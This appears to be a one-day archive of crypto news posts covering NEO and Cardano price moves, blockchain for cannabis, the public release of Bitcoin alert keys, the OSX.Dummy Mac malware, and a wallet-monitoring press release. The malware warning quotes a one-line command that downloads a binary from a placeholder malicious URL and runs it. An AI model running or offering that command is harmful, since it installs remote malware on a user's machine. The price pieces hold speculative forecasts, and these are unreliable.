Day: July 4, 2018

Cryptocurrency price momentum can always change in the blink of an eye. Although some of the top markets are still in the red, the NEO price is rising fairly quickly. Thanks to solid gains over the past 24 hours, the NEO price is well on track to hit $40 again later today. A positive development after the rough first half of 2018.

NEO Price Rise is More Than Welcome

Even though the year 2018 has been fairly terrible for all cryptocurrencies, the NEO price took a rather vicious beating in the process. After peaking at $159 per coin in early 2018, the value quickly plummeted in the months to come. Despite some initial resistance forming in March and May of 2018, the NEO price eventually hit a low of $29.8 just a few days ago.

That caused quite some concerns for NEO holders and speculators. Such a negative trend is always troublesome, even though everyone knows all too well NEO isn’t the only currency suffering from this momentum as of right now. Thankfully, it appears the NEO price is going through an uptrend, as another 5.48% value increase has been noted over the past 24 hours.

This NEO price increase coincides with the Bitcoin price running a bit out of steam. Even so, the world’s leading cryptocurrency is currently regaining those losses and should go in the green in the coming hours. Thanks to a 6.26% increase in the NEO/BTC ratio, the current NEO price trend isn’t held back by the lower Bitcoin value. Such events don’t happen all that often. As Bitcoin drags all currencies with it, for better or worse.

Similar to some other altcoins, NEO enjoys a slightly increased 24-hour trading volume at this time With $167.68m worth of NEO trades in the past day, it seems safe to say the demand to buy and sell this altcoin isn’t slowing down just yet. That doesn’t mean the market can’t turn bearish when people least expect it, but for now, that seems rather unlikely.

Most alternative cryptocurrencies tend to benefit from an increased trading volume thanks to Binance. NEO is no exception in this regard, as its USDT pair is in fourth place, whereas its BTC market takes up the fourth spot. Separating the two is Bitfinex’s USD pair and Upbit’s KRW offering. Bitforex adds another USDT pair to the top five, relegating OKEx to sixth and seventh place.  Two fiat currency pairs in the top three seems rather bullish for NEO moving forward.

Whether or not this current NEO price trend can be sustained for much longer, remains to be determined. As is usually the case in the cryptocurrency industry, any positive trend is usually turned into a correction fairly soon. For the time being, it seems the NEO price will reach $40 with relative ease, especially if Bitcoin goes in the green once again. Today will prove to be a rather interesting day after all, by the look of things.

Blockchain “could” save the UK government billions of pounds and reshape social structure, a new report claims

Greece signed a historical debt deal. Does it still need crypto?

World’s largest crypto exchange Binance resumes services, after temporarily suspending all trading and withdrawals after detecting “irregular” Syscoin (SYS) trading

As the cannabis industry around the world begins what is sure to be a long road to finding compliance with governments and establishing security in both logistics and financial transactions, it could find support in another emerging industry that faces many of the same issues.

Blockchain Could Solve the Cannabis Cash Problem

Cryptocurrency entrepreneurs have already created bridges to the cannabis world by creating at least a dozen cannabis-focused blockchain projects competing to provide the framework for the nascent industry to grow on. While the multi-billion dollar a year (in the US alone) cannabis industry offers blockchain and cryptocurrency companies a massive source of revenue.

Though cannabis is already legal in 30 of the 50 states in the US it is still classified by the federal government as a schedule 1 narcotic. Therefore, the cannabis industry remains a cash in hand business, despite the $10 billion dollars transacted in sales every year. Anyone involved in the business chain of a marijuana operation, from farmer to end user, is liable to federal prosecution leaving businesses with limited financial service options.

This undermines one of the main reasons for legalization, which is to eliminate the violent crimes that a cash-based business attracts. Howard Mann, who started as an internet gambling pioneer, saw this problem as an opportunity and launched Alternate Health Inc. As he recently explained to Green Entrepreneur,

“If the only way to do a legal transaction was in one specific blockchain currency, then all transactions in that currency are immediately trackable, traceable, and verifiable to the stakeholder in the State compliant cannabis transaction.”

Two Industries Seeking Security and Clarity

Much like cryptocurrencies, the regulations controlling the sale and transport of cannabis are still being solidified. In the US each state may have its own laws governing the industry from seed to sale. Blockchain technology companies can help cannabis companies meet regulatory requirements by offering immutable records showing the source of each plant in a harvest, where it is processed, how it is shipped and where it is distributed.

Jessica VerSteeg, former Miss Iowa and now founder of cannabis blockchain company Paragon, explained what her company offers;

“By adding that same data into smart-contracts, companies will no longer have to question the source of their products or supplies, the issue of trust evaporates and the customers are guaranteed to get what they paid for in the end.”

Working hand in hand the emerging cannabis and blockchain industries may be able to push their specific legal agendas forward more effectively. Blockchain technology which is recognized even by cryptocurrency naysayers as having the potential to be greater than the internet itself, in league with an embryonic cannabis industry that is already estimated in the multi-billions yearly with 30% annual growth expected, would be too much for any government to ignore.

Image from Shutterstock

The post Blockchain and Cannabis Industries Together can Clear Regulatory Hurdles appeared first on NewsBTC.

Bitcoin retains the short-term bullish bias despite the pullback from the 11-day highs.

Bitcoin developer Bryan Bishop has the Bitcoin alert keys to the public by posting them on the Bitcoin developers mailing list on 2 July 2018. He had earlier said on 14 June 2018 that it was time to reveal the secret keys.

The Bitcoin alert keys and system were retired in 2016 due to vulnerabilities in the code, and part of the original retirement plan was to release the keys to the public, which hasn’t been done until now. Originally, the Bitcoin alert key was used to issue critical notices in the event of Bitcoin emergencies. The keys were created by Satoshi Nakamoto and distributed to only a few people. In the years that followed, more Bitcoin developers obtained the keys via an accident, which is another reason for the retirement of the system.

“One of the reasons for disclosure of the keys is to mitigate the effects of unknown dissemination and proliferation of the keys. By broadcasting the values to make them available to everyone, the value of the keys is intended to be to be eliminated, since now everyone could feasibly sign messages, the value of the signed messages becomes zero”, said Bishop.

The Bitcoin alert keys for the mainnet and testnet can be retrieved from Bryan Bishop’s email.

In current versions of Bitcoin Core, the alert system has been removed but Bitcoin Core versions 0.12.x and older still receive alerts broadcast with the alert keys. According to bitnodes, there are still hundreds of Bitcoin nodes that use software versions old enough to receive alerts.

Bitcoin Core developers did issue a final alert that said “URGENT: alert key compromised, upgrade required”, but due to a vulnerability in the code this final alert can be canceled and then fake alert messages could start rolling in, which may lead to some confusion. This is a good reason for people using older versions of Bitcoin Core to upgrade.

Follow BitcoinNews.com on Twitter at https://twitter.com/bitcoinnewscom

Telegram Alerts from BitcoinNews.com at https://t.me/bconews

Image Courtesy: Pixabay

The post Bryan Bishop Releases Bitcoin Alert Keys to Public appeared first on BitcoinNews.com.

Mac miners beware, black hats are attempting to infect machines with malware that has been dubbed “OSX.Dummy.”

Dumb Malware Created to Trap Dumb Mac Users

Crypto enthusiasts who access discussion channels using Slack, Discord and possibly other messaging platforms be forewarned that if using a Mac someone may be trying to lure you into a trap. The culprits are impersonating administrators on the platforms and encouraging members to copy and paste the long command into a Terminal window on their machines. The command establishes a remote connection which can act as a backdoor for the attacker once it downloads and executes the 34-megabyte file malware.

The command, below, would download a binary named “script” to the /tmp folder and then ran it as root.

cd /tmp && curl -s curl $MALICIOUS_URL > script && chmod +x script && ./script

Mac malware expert Patrick Wardle examined the bug and named it “OSX.Dummy” as reported by ars Technica, where he broke it down to all its dumb aspects:

the infection method is dumb
the massive size of the binary is dumb
the persistence mechanism is lame (and thus also dumb)
the capabilities are rather limited (and thus rather dumb)
it’s trivial to detect at every step (that dumb)
… and finally, the malware saves the user’s password to dumpdummy

The malware was discovered last week by Remco Verhoef, an ISC SANS handler and founder of DutchSec. Thomas Reed, one of several Mac malware experts who analyzed the infection said,

 “We don’t yet know exactly what the hacker(s) behind the malware may intend to do with access to the infected machines, but given the fact that cryptocurrency mining communities were targeted, it’s a fair bet that they were interested in theft of cryptocurrency,”

Mac Cryptocurrency Miners Targeted

Wardle warned that the victim’s macOS root password being saved as cleartext in the file /Users/Shared/dumpdummy and /tmp/dumpdummy, will most likely be used for malicious activity in the future.

All three experts agree that the malware is basic in its function but that even if users remove the OSX.Dummy malware the file may persist if the infection isn’t cleaned out of the machine properly.

As Reed detailed, “Future malware could be designed to find the locations of these files created by the [OSX.Dummy] malware, gaining access to your password for free,” Adding in his blog post that “if users are so careless and unaware of the dangers of running code they copied from an online forum, they most likely have no clue about security best practices to begin with.”

Image from Shutterstock

The post “Dumb” Malware Targets Mac Crypto Miners appeared first on NewsBTC.

Nearly all cryptocurrency markets have suffered from a big setback in the past 24 hours. Ongoing regulatory concerns in India are making their mark on the industry yet again. The Cardano price has lost a whopping 6.96% in value over the past 24 hours. This is not the trend speculators are looking for by any means.

Cardano Price Setback is Quite Steep

After the recent cryptocurrency market gains, it is only normal a small correction is in order. That correction is taking on a rather worrisome shape for some altcoins, whereas the top currencies are down by less than three percent. In the case of the Cardano price, there has been a 6.96% setback over the past 24 hours. Most of the gains made over the past few days have now been eradicated in the process.

This Cardano price decline comes at a time during which Bitcoin is also stumbling a bit. As is always the case in cryptocurrency, the price of Bitcoin directly influences the value of all other altcoins on the market. Right now, all of those currencies are suffering from similar setbacks, although the Cardano price is losing a lot more value compared to the rest. That in itself is a peculiar development worth keeping an eye on.

It is worth noting the ongoing Cardano price decline is fueled by a decrease in the ADA/BTC ratio. A decline of 5.26% can be noted in this ratio over the past 24 hours. Combined with Bitcoin’s small USD setback, it is only normal the Cardano price is unable to maintain its latest push. For now, the value remains at $0.15, which isn’t terrible given the current market circumstances.

Due to this market uncertainty, it appears the overall cryptocurrency trading volume will begin to decline again in the coming hours. This trend is already visible when looking at the Cardano volume, as it has dipped to $91.775m again. That isn’t necessarily a bad thing when looking at the long-term picture, but for people seeking short-term profits, it will not be a positive development whatsoever.

Upbit still shows a healthy appetite for ADA trading, as its KRW pair is well ahead of all other exchange pairs. Binance’s USDT and BTC pairs come in second place, which is anything but surprising. Huobi’s USDT pair and Bittrex’s BTC pair come in fourth and fifth place respectively. One fiat currency pair in the top five is not exactly encouraging, but it’s still better than not having any.

It is expected the cryptocurrency markets will recover sooner rather than later. When that happens, the Cardano price will see a nice healthy boost once again. For the time being, however, it seems the bearish pressure will remain in place first and foremost. This type of trading behavior is not uncommon in the cryptocurrency world, yet it further confirms the short-term outlook for Bitcoin and altcoins isn’t all that positive just yet.

Bitcoin Press Release: WalletBouncer a Bitcoin Wallet Monitoring Service Now Available on Apple iPhone and iPad.

June 27, 2018. NYC, USA: WalletBouncer, a New York City-based technology startup specializing in bitcoin wallet security has released its Bitcoin wallet monitoring service.  Available as a free download from the Apple app store on iPhone and iPad platform.

What Is WalletBouncer

WalletBouncer monitors the Bitcoin network for activity against public wallet addresses, with quick notifications directly to any mobile phone, iPad, and via email. Wallet security services like walletBouncer serve as a crucial component of a comprehensive Bitcoin storage strategy.

Members use the iPhone or iPad walletBouncer app to register public addresses. Once registered WalletBouncer servers will scan the Bitcoin network for activity on those addresses, and will immediately notify its members of any activity.  Members can receive notification texts in over 200 countries. The WalletBouncer app allows for customizable notifications options.

WalletBouncer is designed from the ground up with its members’ privacy in mind.   Wallet addresses are shielded from leaks and hacks by modern cryptographic technology.  Not even WalletBouncer has access to its members’ bitcoin wallet addresses.

WalletBouncer CEO, Paul Fabozzi said:

“WalletBouncer is an excellent solution for those who wish to keep an extra eye on their cold storage wallets, as well as those who need to be notified of expected transactions to any Bitcoin address.”

WalletBouncer will save its members from the fatigue of feeling like they constantly need to check on their bitcoin wallet balances by doing this for them.

WalletBouncer is compatible with all Bitcoin wallets, and storage methods, including the new Segregated Witness bech32 (bc1) formatted addresses.

The WalletBouncer team are working hard on the further development of the app, and it is set to be released on Android, and Desktop very soon.

WalletBouncer Corp is a New York City based Blockchain Wallet Security Company.

Visit the Website: www.walletBouncer.com.
Chat on Telegram: https://t.me/walletBouncer
Follow on Twitter: https://twitter.com/walletBouncer

Media Contact:
Name: Paul Fabozzi
Location: NYC, USA
Email: [email protected]

WalletBouncer is the source of this content. Virtual currency is not legal tender, is not backed by the government, and accounts and value balances are not subject to consumer protections. Cryptocurrencies and tokens are extremely volatile. There is no guarantee of a stable value, or of any value at all. Token sales are only suitable for individuals with a high risk tolerance. Only participate in a token event with what you can afford to lose.

Follow BitcoinNews.com on Twitter at https://twitter.com/bitcoinnewscom

Telegram Alerts from BitcoinNews.com at https://t.me/bconews

Image Courtesy:

The post PR: WalletBouncer Announce Bitcoin Wallet Monitoring Service appeared first on BitcoinNews.com.